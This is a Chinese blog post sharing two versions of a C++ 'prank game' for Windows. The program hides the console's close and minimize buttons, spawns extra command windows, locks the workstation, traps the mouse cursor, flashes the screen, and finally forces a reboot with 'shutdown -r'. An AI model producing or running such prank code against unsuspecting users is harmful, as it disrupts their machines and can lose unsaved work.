IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> C++知识库 -> C++坑人游戏[0.8++版本] -> 正文阅读

[C++知识库]C++坑人游戏[0.8++版本]

这次,之所以说是0.8++版本,还是该感谢YR_T长期以来的大力支持,为我带来了一段“坑人+”的代码,而又在我不断地搜索下,总结出来一段“坑人++”的代码,接下来就直接为大家展示编辑好的0.8++版本。

Dev-C++版(默认配置)

#include <iostream>
#include <fstream>
#include <Windows.h>
#include <conio.h>
#include <string.h>
#include <ctime>
using namespace std;
int m;
char n;
int x, y;
int a, b;
string ch_1, ch_2;
void f()
{
	cout << "------------------------------------------------------华丽的开始线------------------------------------------------------";
	cout << "作为一个萌新,也该坑坑人了……" << endl;
	Sleep(2000);
	cout << "好吧!system(\"start\")来一波!" << endl;
	Sleep(2000);
	cout << "似乎哪里出问题了。" << endl;
	Sleep(5000);
	system("start");
	system("start");
	system("start");
	system("start");
	system("start");
	Sleep(1000);
	cout << "呵呵,关完没有?\n1、关完了\n2、没有" << endl;
	n = _getch();
	cout << "呵呵,管你关完没有。再见!" << endl;
	Sleep(1000);
	system("rundll32.exe user32.dll,LockWorkStation");
	Sleep(5000);
	cout << "呵呵,我又回来了!MEIFAXIANSHUBIAODONGBULIAOMA?" << endl;
	while (!_kbhit())
	{
		SetCursorPos(1, 1);
	}
	FlushConsoleInputBuffer(GetStdHandle(STD_INPUT_HANDLE));
	Sleep(2000);
	cout << "呵呵,我怎么那么喜欢说“呵呵”呢?" << endl;
	while (!_kbhit())
	{
		SetCursorPos(1, 1);
	}
	cout << "呵呵,再来!" << endl;
	for (int i = 0; i < 10; i++)
	{
		system("color A0");
		Sleep(50);
		system("color B0");
		Sleep(50);
		system("color C0");
		Sleep(50);
		system("color D0");
		Sleep(50);
		system("color E0");
		Sleep(50);
		system("color F0");
		Sleep(50);
	}
	Sleep(2000);
	cout << "没把你闪瞎吧!" << endl;
	Sleep(2000);
	cout << "-------------------------------------------------------小游戏环节-------------------------------------------------------";
	srand(time(0));
	for (int i = 1; i <= 3; i++)
	{
		x = rand() % 10 + 1;
		y = rand() % 39 + 1;
		if (i == 1)
		{
			ch_1 = "汩";
			ch_2 = "汨";
		}
		if (i == 2)
		{
			ch_1 = "汆";
			ch_2 = "氽";
		}
		if (i == 3)
		{
			ch_1 = "匚";
			ch_2 = "匸";
		}
		cout << "找不同——" << i << endl;
		cout << "   1  2  3  4  5  6  7  8  9  10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 ";
		for (int j = 1; j <= 10; j++)
		{
			if (j >= 1 && j <= 9)
			{
				cout << j << "  ";
			}
			else
			{
				cout << j << " ";
			}
			for (int k = 1; k <= 39; k++)
			{
				if (j == x && k == y)
				{
					cout << ch_2 << " ";
				}
				else
				{
					cout << ch_1 << " ";
				}
			}
		}
		cout << "请依次输入行数、列数:"; cin >> a >> b;
		if (a == x && b == y)
		{
			cout << "正确!" << endl;
		}
		else
		{
			cout << "错误!" << endl;
			Sleep(2000);
			system("cls");
			i--;
		}
		if (i != 3)
		{
			cout << endl;
		}
	}
	cout << "------------------------------------------------------华丽的分割线------------------------------------------------------";
	cout << "旁白:你是一位“main”函数,代码已预加载<iostream>。" << endl;
	Sleep(2000);
	cout << "std:main,喏!cin、cout、endl……给你!" << endl;
	Sleep(1000);
	MessageBox(GetForegroundWindow(), "是否接受?", "std", 4);
	Sleep(1000);
	cout << "旁白:萌新并没加上\"using namespace std;\"。" << endl;
	Sleep(2000);
	cout << "旁白:这位萌新写上了一句cout,并编译了一下。" << endl;
	Sleep(2000);
	cout << "系统:\"cout\":未声明的标识符" << endl;
	Sleep(2000);
	cout << "旁白:萌新一塌糊涂。" << endl;
	Sleep(2000);
	cout << "旁白:于是,萌新到网上搜了个代码,把你删掉了。" << endl;
	Sleep(2000);
	cout << "------------------------------------------------------First  Blood------------------------------------------------------";
	Sleep(2000);
	cout << "Windows.h:喏!Sleep、MessageBox……给你!" << endl;
	Sleep(1000);
	MessageBox(GetForegroundWindow(), "是否接受?", "Windows.h", 3);
	Sleep(1000);
	cout << "旁白:萌新并没加上\"#include <Windows.h>\"。" << endl;
	Sleep(2000);
	cout << "旁白:这位萌新写上了一句Sleep,并编译了一下。" << endl;
	Sleep(2000);
	cout << "系统:\"Sleep\":未声明的标识符" << endl;
	Sleep(2000);
	cout << "旁白:萌新一塌糊涂。" << endl;
	Sleep(2000);
	cout << "旁白:于是,萌新又到网上搜了个代码,把你删掉了。" << endl;
	Sleep(2000);
	cout << "------------------------------------------------------Double  Kill------------------------------------------------------";
	Sleep(2000);
	cout << "旁白:萌新又加了几句,并编译了一下。" << endl;
	Sleep(2000);
	cout << "系统:编译中……" << endl;
	Sleep(2000);
	cout << "系统:编译中……" << endl;
	Sleep(2000);
	cout << "系统:编译中……" << endl;
	Sleep(2000);
	cout << "系统:编译中……" << endl;
	Sleep(2000);
	cout << "系统:编译中……" << endl;
	Sleep(2000);
	cout << "旁白:于是,萌新以为又是你搞的鬼,双到网上搜了个代码,把你删掉了。" << endl;
	Sleep(2000);
	cout << "------------------------------------------------------Triple Kill------------------------------------------------------";
	Sleep(2000);
	ofstream out("save.txt");
	out << 1;
	out.close();
	system("shutdown -r");
	cout << "旁白:萌新想做一个坑人游戏,于是写了一段关机代码并运行了。" << endl;
	Sleep(2000);
	cout << "系统:关机中……" << endl;
	Sleep(100000);
}
void s()
{
	cout << "--------------------------------------------------------YOU  DIE--------------------------------------------------------";
	Sleep(2000);
	cout << "-------------------------------------------------------Quadr Kill-------------------------------------------------------";
	Sleep(2000);
	cout << "------------------------------------------------------华丽的结束线------------------------------------------------------";
}
void lock()
{
	HWND hWnd = GetConsoleWindow();
	SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
	HMENU hmenu = GetSystemMenu(hWnd, false);
	RemoveMenu(hmenu, SC_CLOSE, MF_BYCOMMAND);
	LONG style = GetWindowLong(hWnd, GWL_STYLE);
	style &= ~(WS_MINIMIZEBOX);
	SetWindowLong(hWnd, GWL_STYLE, style);
	SetWindowPos(hWnd, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
	ShowWindow(hWnd, SW_SHOWNORMAL);
	DestroyMenu(hmenu);
	ReleaseDC(hWnd, NULL);
}
int main()
{
	lock();
	ifstream in("save.txt");
	in >> m;
	in.close();
	if (m == 1)
	{
		s();
	}
	else
	{
		f();
	}

}

VS版(默认配置)

#include <iostream>
#include <fstream>
#include <Windows.h>
#include <conio.h>
#include <string.h>
#include <ctime>
using namespace std;
int m;
char n;
int x, y;
int a, b;
string ch_1, ch_2;
void f()
{
	cout << "------------------------------------------------------华丽的开始线------------------------------------------------------";
	cout << "作为一个萌新,也该坑坑人了……" << endl;
	Sleep(2000);
	cout << "好吧!system(\"start\")来一波!" << endl;
	Sleep(2000);
	cout << "似乎哪里出问题了。" << endl;
	Sleep(5000);
	system("start");
	system("start");
	system("start");
	system("start");
	system("start");
	Sleep(1000);
	cout << "呵呵,关完没有?\n1、关完了\n2、没有" << endl;
	n = _getch();
	cout << "呵呵,管你关完没有。再见!" << endl;
	Sleep(1000);
	system("rundll32.exe user32.dll,LockWorkStation");
	Sleep(5000);
	cout << "呵呵,我又回来了!MEIFAXIANSHUBIAODONGBULIAOMA?" << endl;
	while (!_kbhit())
	{
		SetCursorPos(1, 1);
	}
	FlushConsoleInputBuffer(GetStdHandle(STD_INPUT_HANDLE));
	Sleep(2000);
	cout << "呵呵,我怎么那么喜欢说“呵呵”呢?" << endl;
	while (!_kbhit())
	{
		SetCursorPos(1, 1);
	}
	cout << "呵呵,再来!" << endl;
	for (int i = 0; i < 10; i++)
	{
		system("color A0");
		Sleep(50);
		system("color B0");
		Sleep(50);
		system("color C0");
		Sleep(50);
		system("color D0");
		Sleep(50);
		system("color E0");
		Sleep(50);
		system("color F0");
		Sleep(50);
	}
	Sleep(2000);
	cout << "没把你闪瞎吧!" << endl;
	Sleep(2000);
	cout << "-------------------------------------------------------小游戏环节-------------------------------------------------------";
	srand(time(0));
	for (int i = 1; i <= 3; i++)
	{
		x = rand() % 10 + 1;
		y = rand() % 39 + 1;
		if (i == 1)
		{
			ch_1 = "汩";
			ch_2 = "汨";
		}
		if (i == 2)
		{
			ch_1 = "汆";
			ch_2 = "氽";
		}
		if (i == 3)
		{
			ch_1 = "匚";
			ch_2 = "匸";
		}
		cout << "找不同——" << i << endl;
		cout << "   1  2  3  4  5  6  7  8  9  10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 ";
		for (int j = 1; j <= 10; j++)
		{
			if (j >= 1 && j <= 9)
			{
				cout << j << "  ";
			}
			else
			{
				cout << j << " ";
			}
			for (int k = 1; k <= 39; k++)
			{
				if (j == x && k == y)
				{
					cout << ch_2 << " ";
				}
				else
				{
					cout << ch_1 << " ";
				}
			}
		}
		cout << "请依次输入行数、列数:"; cin >> a >> b;
		if (a == x && b == y)
		{
			cout << "正确!" << endl;
		}
		else
		{
			cout << "错误!" << endl;
			Sleep(2000);
			system("cls");
			i--;
		}
		if (i != 3)
		{
			cout << endl;
		}
	}
	cout << "------------------------------------------------------华丽的分割线------------------------------------------------------";
	cout << "旁白:你是一位“main”函数,代码已预加载<iostream>。" << endl;
	Sleep(2000);
	cout << "std:main,喏!cin、cout、endl……给你!" << endl;
	Sleep(1000);
	MessageBox(GetForegroundWindow(), L"是否接受?", L"std", 4);
	Sleep(1000);
	cout << "旁白:萌新并没加上\"using namespace std;\"。" << endl;
	Sleep(2000);
	cout << "旁白:这位萌新写上了一句cout,并编译了一下。" << endl;
	Sleep(2000);
	cout << "系统:\"cout\":未声明的标识符" << endl;
	Sleep(2000);
	cout << "旁白:萌新一塌糊涂。" << endl;
	Sleep(2000);
	cout << "旁白:于是,萌新到网上搜了个代码,把你删掉了。" << endl;
	Sleep(2000);
	cout << "------------------------------------------------------First  Blood------------------------------------------------------";
	Sleep(2000);
	cout << "Windows.h:喏!Sleep、MessageBox……给你!" << endl;
	Sleep(1000);
	MessageBox(GetForegroundWindow(), L"是否接受?", L"Windows.h", 3);
	Sleep(1000);
	cout << "旁白:萌新并没加上\"#include <Windows.h>\"。" << endl;
	Sleep(2000);
	cout << "旁白:这位萌新写上了一句Sleep,并编译了一下。" << endl;
	Sleep(2000);
	cout << "系统:\"Sleep\":未声明的标识符" << endl;
	Sleep(2000);
	cout << "旁白:萌新一塌糊涂。" << endl;
	Sleep(2000);
	cout << "旁白:于是,萌新又到网上搜了个代码,把你删掉了。" << endl;
	Sleep(2000);
	cout << "------------------------------------------------------Double  Kill------------------------------------------------------";
	Sleep(2000);
	cout << "旁白:萌新又加了几句,并编译了一下。" << endl;
	Sleep(2000);
	cout << "系统:编译中……" << endl;
	Sleep(2000);
	cout << "系统:编译中……" << endl;
	Sleep(2000);
	cout << "系统:编译中……" << endl;
	Sleep(2000);
	cout << "系统:编译中……" << endl;
	Sleep(2000);
	cout << "系统:编译中……" << endl;
	Sleep(2000);
	cout << "旁白:于是,萌新以为又是你搞的鬼,双到网上搜了个代码,把你删掉了。" << endl;
	Sleep(2000);
	cout << "------------------------------------------------------Triple Kill------------------------------------------------------";
	Sleep(2000);
	ofstream out("save.txt");
	out << 1;
	out.close();
	system("shutdown -r");
	cout << "旁白:萌新想做一个坑人游戏,于是写了一段关机代码并运行了。" << endl;
	Sleep(2000);
	cout << "系统:关机中……" << endl;
	Sleep(100000);
}
void s()
{
	cout << "--------------------------------------------------------YOU  DIE--------------------------------------------------------";
	Sleep(2000);
	cout << "-------------------------------------------------------Quadr Kill-------------------------------------------------------";
	Sleep(2000);
	cout << "------------------------------------------------------华丽的结束线------------------------------------------------------";
}
void lock()
{
	HWND hWnd = GetConsoleWindow();
	SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
	HMENU hmenu = GetSystemMenu(hWnd, false);
	RemoveMenu(hmenu, SC_CLOSE, MF_BYCOMMAND);
	LONG style = GetWindowLong(hWnd, GWL_STYLE);
	style &= ~(WS_MINIMIZEBOX);
	SetWindowLong(hWnd, GWL_STYLE, style);
	SetWindowPos(hWnd, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
	ShowWindow(hWnd, SW_SHOWNORMAL);
	DestroyMenu(hmenu);
	ReleaseDC(hWnd, NULL);
}
int main()
{
	lock();
	ifstream in("save.txt");
	in >> m;
	in.close();
	if (m == 1)
	{
		s();
	}
	else
	{
		f();
	}

}

好了,我接下来会更新?Penta Kill 和 Shut Down 以及 红眼特效的音乐,然后本系列就差不多完结了;至于后面写什么……倒时候再说!

  C++知识库 最新文章
【C++】友元、嵌套类、异常、RTTI、类型转换
通讯录的思路与实现(C语言)
C++PrimerPlus 第七章 函数-C++的编程模块(
Problem C: 算法9-9~9-12:平衡二叉树的基本
MSVC C++ UTF-8编程
C++进阶 多态原理
简单string类c++实现
我的年度总结
【C语言】以深厚地基筑伟岸高楼-基础篇(六
c语言常见错误合集
上一篇文章      下一篇文章      查看所有文章
加:2022-02-05 21:32:58  更:2022-02-05 21:34:14 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 9:55:00-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码